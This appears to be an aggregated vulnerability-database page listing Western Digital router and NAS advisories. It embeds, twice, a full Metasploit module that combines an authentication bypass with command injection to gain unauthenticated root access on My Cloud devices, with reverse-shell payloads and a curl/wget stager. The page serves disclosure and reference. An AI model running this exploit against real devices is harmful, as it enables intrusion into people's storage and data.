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16 vulnerabilities by western
VAR-201307-0443
Vulnerability from variot - Updated: 2025-04-11 23:19main_internet.php on the Western Digital My Net N600 and N750 with firmware 1.03.12 and 1.04.16, and the N900 and N900C with firmware 1.05.12, 1.06.18, and 1.06.28, allows remote attackers to discover the cleartext administrative password by reading the "var pass=" line within the HTML source code. Western Digital My Net is a series of router products from Western Digital, USA. An information disclosure vulnerability exists in a number of Western Digital My Net devices that can expose administrator credentials. This vulnerability could be used by unauthorized attackers to gain sensitive information that can help launch further attacks. There is a security hole in the main_internet.php file
Show details on source website{
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Vulnerability from variot - Updated: 2024-11-23 23:07An issue was discovered on Western Digital My Cloud OS 5 devices before 5.07.118. A NAS Admin authentication bypass vulnerability could allow an unauthenticated user to gain access to the device. This vulnerability allows remote attackers to bypass authentication on affected installations of Western Digital MyCloud PR4100. Authentication is not required to exploit this vulnerability.The specific flaw exists within the mod_rewrite module. The issue results from the way the software parses URLs to make authorization decisions. An attacker can leverage this vulnerability to bypass authentication on the system
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VAR-202201-0613
Vulnerability from variot - Updated: 2024-11-23 22:44A malicious user on the same LAN could use DNS spoofing followed by a command injection attack to trick a NAS device into loading through an unsecured HTTP call. Addressed this vulnerability by disabling checks for internet connectivity using HTTP. My Cloud OS 5 Firmware contains a command injection vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to execute arbitrary code on affected installations of Western Digital MyCloud PR4100. Authentication is not required to exploit this vulnerability.The specific flaw exists within the ConnectivityService service. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of root. Western Digital My Cloud is a personal cloud storage device from Western Digital
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VAR-202201-0609
Vulnerability from variot - Updated: 2024-11-23 22:44My Cloud OS 5 was vulnerable to a pre-authenticated stack overflow vulnerability on the FTP service that could be exploited by unauthenticated attackers on the network. Addressed the vulnerability by adding defenses against stack overflow issues. My Cloud OS 5 Exists in an out-of-bounds write vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. Western Digital My Cloud is a personal cloud storage device from Western Digital
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VAR-202201-0612
Vulnerability from variot - Updated: 2024-11-23 22:44A limited authentication bypass vulnerability was discovered that could allow an attacker to achieve remote code execution and escalate privileges on the My Cloud devices. Addressed this vulnerability by changing access token validation logic and rewriting rule logic on PHP scripts. My Cloud There is an authentication vulnerability in the device.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be in a state. This vulnerability allows network-adjacent attackers to bypass authentication on affected installations of Western Digital MyCloud PR4100. Authentication is not required to exploit this vulnerability.The specific flaw exists within the nasAdmin service, which listens on TCP ports 80 and 443 by default. The issue results from incorrect string matching logic when accessing protected pages. An attacker can leverage this vulnerability to bypass authentication on the system. Western Digital My Cloud is a personal cloud storage device from Western Digital
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VAR-201905-0058
Vulnerability from variot - Updated: 2024-11-23 22:33Western Digital My Cloud Cloud, Mirror Gen2, EX2 Ultra, EX2100, EX4100, DL2100, DL4100, PR2100 and PR4100 before firmware 2.31.183 are affected by a code execution (as root, starting from a low-privilege user session) vulnerability. The cgi-bin/webfile_mgr.cgi file allows arbitrary file write by abusing symlinks. Specifically, this occurs by uploading a tar archive that contains a symbolic link, then uploading another archive that writes a file to the link using the "cgi_untar" command. Other commands might also be susceptible. Code can be executed because the "name" parameter passed to the cgi_unzip command is not sanitized. plural Western Digital My Cloud The product contains a link interpretation vulnerability.Information is obtained, information is altered, and service operation is disrupted (DoS) There is a possibility of being put into a state. Western Digital MyCloud Mirror Gen 2 and others are products of Western Digital Corporation. WesternDigitalMyCloudMirrorGen2 is a personal cloud storage device. WesternDigitalMyCloudEX2Ultra is a personal cloud storage device. The Western Digital MyCloud EX2100 is a personal storage device. A security vulnerability exists in several WesternDigital products that originated from the failure of the program to filter the \342\200\230name\342\200\231 parameter passed to the cgi_unzip command. An attacker could exploit the vulnerability to execute code
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VAR-201809-0306
Vulnerability from variot - Updated: 2024-11-23 22:13It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user's IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user's IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called "cgi_get_ipv6" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter "flag" with the value "1" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie. An attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks. ##
This module requires Metasploit: https://metasploit.com/download
Current source: https://github.com/rapid7/metasploit-framework
class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {}) super( update_info( info, 'Name' => 'Western Digital MyCloud unauthenticated command injection', 'Description' => %q{ This module exploits authentication bypass (CVE-2018-17153) and command injection (CVE-2016-10108) vulnerabilities in Western Digital MyCloud before 2.30.196 in order to achieve unauthenticated remote code execution as the root user.
The module first performs a check to see if the target is
WD MyCloud. If so, it attempts to trigger an authentication
bypass (CVE-2018-17153) via a crafted GET request to
/cgi-bin/network_mgr.cgi. If the server responds as expected,
the module assesses the vulnerability status by attempting to
exploit a commend injection vulnerability (CVE-2016-10108) in
order to print a random string via the echo command. This is
done via a crafted POST request to /web/google_analytics.php.
If the server is vulnerable, the same command injection vector
is leveraged to execute the payload.
This module has been successfully tested against Western Digital
MyCloud version 2.30.183.
Note: based on the available disclosures, it seems that the
command injection vector (CVE-2016-10108) might be exploitable
without the authentication bypass (CVE-2018-17153) on versions
before 2.21.126. The obtained results on 2.30.183 imply that
the patch for CVE-2016-10108 did not actually remove the command
injection vector, but only prevented unauthenticated access to it.
},
'License' => MSF_LICENSE,
'Author' => [
'Erik Wynter', # @wyntererik - Metasploit
'Steven Campbell', # CVE-2016-10108 disclosure and PoC
'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC
],
'References' => [
['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.
['CVE', '2018-17153'], # authentication bypass
['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC
['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC
],
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Platform' => %w[linux unix],
'Arch' => [ ARCH_ARMLE, ARCH_CMD ],
'Targets' => [
[
'Unix In-Memory',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },
'Type' => :unix_memory
}
],
[
'Linux Dropper', {
'Arch' => [ARCH_ARMLE],
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',
'CMDSTAGER::FLAVOR' => :curl
},
'Type' => :linux_dropper
}
]
],
'CmdStagerFlavor' => ['curl', 'wget'],
'Privileged' => true,
'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),
])
end
def check # sanity check to see if the target is likely WD MyCloud res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path) })
return CheckCode::Unknown('Connection failed.') unless res
return CheckCode::Safe('Target is not a WD MyCloud application.') unless res.code == 200 && res.body.include?('var MODEL_ID = "WDMyCloud')
print_status("#{rhost}:#{rport} - The target is WD MyCloud. Checking vulnerability status...")
# try the authentication bypass (CVE-2018-17153)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'network_mgr.cgi'),
'vars_get' => {
'cmd' => 'cgi_get_ipv6',
'flag' => 1 # this cannot be randomized according to the CVE-2018-17153 details
}
})
return CheckCode::Unknown('Connection failed while attempting to trigger the authentication bypass.') unless res
return CheckCode::Unknown("Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.") unless res.code == 404
# send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body
echo_cmd = "echo #{Rex::Text.rand_text_alphanumeric(8..42)}"
print_status("#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...")
res = execute_command(echo_cmd, { 'wait_for_response' => true })
return CheckCode::Unknown('Connection failed while trying to execute the echo command to check the vulnerability status.') unless res
return CheckCode::Vulnerable('The target executed the echo command.') if res.code == 200 && res.body.include?(echo_cmd) && res.body.include?('"success":true')
CheckCode::Safe('The target failed to execute the echo command.')
end
def execute_command(cmd, opts = {})
request_hash = {
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'web', 'google_analytics.php'),
'cookie' => 'username=admin',
'vars_post' => {
'cmd' => 'set',
'opt' => 'cloud-device-num',
'arg' => "0|echo #{cmd} #"
}
}
return send_request_cgi(request_hash) if opts['wait_for_response']
# if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response
send_request_cgi(request_hash, 0)
end
def exploit if target.arch.first == ARCH_CMD print_status("#{rhost}:#{rport} - Executing the payload. This may take a few seconds...") execute_command(payload.encoded) else execute_cmdstager(background: true) end end end
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"data": "It was discovered that the Western Digital My Cloud device before 2.30.196 is affected by an authentication bypass vulnerability. An unauthenticated attacker can exploit this vulnerability to authenticate as an admin user without needing to provide a password, thereby gaining full control of the device. (Whenever an admin logs into My Cloud, a server-side session is created that is bound to the user\u0027s IP address. After the session is created, it is possible to call authenticated CGI modules by sending the cookie username=admin in the HTTP request. The invoked CGI will check if a valid session is present and bound to the user\u0027s IP address.) It was found that it is possible for an unauthenticated attacker to create a valid session without a login. The network_mgr.cgi CGI module contains a command called \"cgi_get_ipv6\" that starts an admin session -- tied to the IP address of the user making the request -- if the additional parameter \"flag\" with the value \"1\" is provided. Subsequent invocation of commands that would normally require admin privileges now succeed if an attacker sets the username=admin cookie. \nAn attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks. ##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule \u003c Msf::Exploit::Remote\n Rank = ExcellentRanking\n\n include Msf::Exploit::Remote::HttpClient\n include Msf::Exploit::CmdStager\n prepend Msf::Exploit::Remote::AutoCheck\n\n def initialize(info = {})\n super(\n update_info(\n info,\n \u0027Name\u0027 =\u003e \u0027Western Digital MyCloud unauthenticated command injection\u0027,\n \u0027Description\u0027 =\u003e %q{\n This module exploits authentication bypass (CVE-2018-17153) and\n command injection (CVE-2016-10108) vulnerabilities in Western\n Digital MyCloud before 2.30.196 in order to achieve\n unauthenticated remote code execution as the root user. \n\n The module first performs a check to see if the target is\n WD MyCloud. If so, it attempts to trigger an authentication\n bypass (CVE-2018-17153) via a crafted GET request to\n /cgi-bin/network_mgr.cgi. If the server responds as expected,\n the module assesses the vulnerability status by attempting to\n exploit a commend injection vulnerability (CVE-2016-10108) in\n order to print a random string via the echo command. This is\n done via a crafted POST request to /web/google_analytics.php. \n\n If the server is vulnerable, the same command injection vector\n is leveraged to execute the payload. \n\n This module has been successfully tested against Western Digital\n MyCloud version 2.30.183. \n\n Note: based on the available disclosures, it seems that the\n command injection vector (CVE-2016-10108) might be exploitable\n without the authentication bypass (CVE-2018-17153) on versions\n before 2.21.126. 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Checking vulnerability status...\")\n # try the authentication bypass (CVE-2018-17153)\n res = send_request_cgi({\n \u0027method\u0027 =\u003e \u0027GET\u0027,\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027cgi-bin\u0027, \u0027network_mgr.cgi\u0027),\n \u0027vars_get\u0027 =\u003e {\n \u0027cmd\u0027 =\u003e \u0027cgi_get_ipv6\u0027,\n \u0027flag\u0027 =\u003e 1 # this cannot be randomized according to the CVE-2018-17153 details\n }\n })\n\n return CheckCode::Unknown(\u0027Connection failed while attempting to trigger the authentication bypass.\u0027) unless res\n\n return CheckCode::Unknown(\"Received unexpected response code #{res.code} while attempting to trigger the authentication bypass.\") unless res.code == 404\n\n # send a command to print a random string via echo. if the target is vulnerable, both the command and the command output will be part of the response body\n echo_cmd = \"echo #{Rex::Text.rand_text_alphanumeric(8..42)}\"\n print_status(\"#{rhost}:#{rport} - Attempting to execute #{echo_cmd}...\")\n res = execute_command(echo_cmd, { \u0027wait_for_response\u0027 =\u003e true })\n\n return CheckCode::Unknown(\u0027Connection failed while trying to execute the echo command to check the vulnerability status.\u0027) unless res\n\n return CheckCode::Vulnerable(\u0027The target executed the echo command.\u0027) if res.code == 200 \u0026\u0026 res.body.include?(echo_cmd) \u0026\u0026 res.body.include?(\u0027\"success\":true\u0027)\n\n CheckCode::Safe(\u0027The target failed to execute the echo command.\u0027)\n end\n\n def execute_command(cmd, opts = {})\n request_hash = {\n \u0027method\u0027 =\u003e \u0027POST\u0027,\n \u0027uri\u0027 =\u003e normalize_uri(target_uri.path, \u0027web\u0027, \u0027google_analytics.php\u0027),\n \u0027cookie\u0027 =\u003e \u0027username=admin\u0027,\n \u0027vars_post\u0027 =\u003e {\n \u0027cmd\u0027 =\u003e \u0027set\u0027,\n \u0027opt\u0027 =\u003e \u0027cloud-device-num\u0027,\n \u0027arg\u0027 =\u003e \"0|echo `#{cmd}` #\"\n }\n }\n\n return send_request_cgi(request_hash) if opts[\u0027wait_for_response\u0027]\n\n # if we are trying to execute the payload, we can just yeet it at the server and return without waiting for a response\n send_request_cgi(request_hash, 0)\n end\n\n def exploit\n if target.arch.first == ARCH_CMD\n print_status(\"#{rhost}:#{rport} - Executing the payload. This may take a few seconds...\")\n execute_command(payload.encoded)\n else\n execute_cmdstager(background: true)\n end\n end\nend\n",
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VAR-202103-1086
Vulnerability from variot - Updated: 2024-11-23 22:11Western Digital My Cloud OS 5 devices before 5.10.122 mishandle Symbolic Link Following on SMB and AFP shares. This can lead to code execution and information disclosure (by reading local files). This vulnerability allows remote attackers to disclose sensitive information on affected installations of Western Digital MyCloud PR4100. Authentication is not required to exploit this vulnerability.The specific flaw exists within the SMB and AFP services. By creating a symbolic link, an attacker can abuse the service to read arbitrary files. An attacker can leverage this vulnerability to disclose information in the context of the service account. Western Digital My Cloud is a personal cloud storage device of Western Digital Corporation
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VAR-201906-0768
Vulnerability from variot - Updated: 2024-11-23 22:06Western Digital WD My Book Live and WD My Book Live Duo (all versions) have a root Remote Command Execution bug via shell metacharacters in the /api/1.0/rest/language_configuration language parameter. It can be triggered by anyone who knows the IP address of the affected device, as exploited in the wild in June 2021 for factory reset commands,. Remote attackers can use this vulnerability to execute commands
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VAR-202004-0205
Vulnerability from variot - Updated: 2024-11-23 22:05Western Digital My Cloud Home and ibi devices before 2.2.0 allow clickjacking on sign-in pages. Western Digital My Cloud is a personal cloud storage device of Western Digital (Western Digital). Attackers can use this vulnerability to hijack click operations on the login page
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Vulnerability from variot - Updated: 2024-11-23 22:05The Western Digital WD Discovery application before 3.8.229 for MyCloud Home on Windows and macOS is vulnerable to CSRF, with impacts such as stealing data, modifying disk contents, or exhausting disk space. (DoS) It may be put into a state. Western Digital MyCloud Home is a personal storage device from Western Digital. Western Digital WD Discovery is a remote connection management tool for Western Digital personal storage devices. Attackers can use this vulnerability to obtain data, modify the contents of the disk, or run out of disk space and other hazards
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Vulnerability from variot - Updated: 2024-08-14 14:17A stack-based buffer overflow vulnerability was found on Western Digital My Cloud Home, My Cloud Home Duo, and SanDisk ibi that could allow an attacker accessing the system locally to read information from /etc/version file. This vulnerability can only be exploited by chaining it with another issue. If an attacker is able to carry out a remote code execution attack, they can gain access to the vulnerable file, due to the presence of insecure functions in code. User interaction is required for exploitation. Exploiting the vulnerability could result in exposure of information, ability to modify files, memory access errors, or system crashes. (DoS) It may be in a state. Western Digital My Cloud, etc. are all products of Western Digital (Western Digital). Western Digital My Cloud is a personal cloud storage device. Western Digital My Cloud Home is an easy-to-use personal cloud storage device. SanDisk ibi and so on are all products of SanDisk Corporation of the United States. SanDisk ibi is an intelligent photo organizer and media storage hard drive.
There is a buffer overflow vulnerability in Western Digital products. Attackers can use this vulnerability to access the system locally and read the /etc/version file
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Vulnerability from variot - Updated: 2024-08-14 13:06Western Digital WD My Book Live (2.x and later) and WD My Book Live Duo (all versions) have an administrator API that can perform a system factory restore without authentication, as exploited in the wild in June 2021, a different vulnerability than CVE-2018-18472. Western Digital WD My Book Live is a network storage device of Western Digital (Western Digital). The vulnerability stems from the product having an administrator API. Attackers can use this vulnerability to perform system factory recovery without authentication. Pillow is a Python-based image processing library. There is currently no information about this vulnerability, please feel free to follow CNNVD or manufacturer announcements
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CVE-2014-6882 (GCVE-0-2014-6882)
Vulnerability from nvd – Published: 2014-10-02 10:00 – Updated: 2024-08-06 12:31- n/a
| URL | Tags |
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CVE-2014-6882 (GCVE-0-2014-6882)
Vulnerability from cvelistv5 – Published: 2014-10-02 10:00 – Updated: 2024-08-06 12:31- n/a
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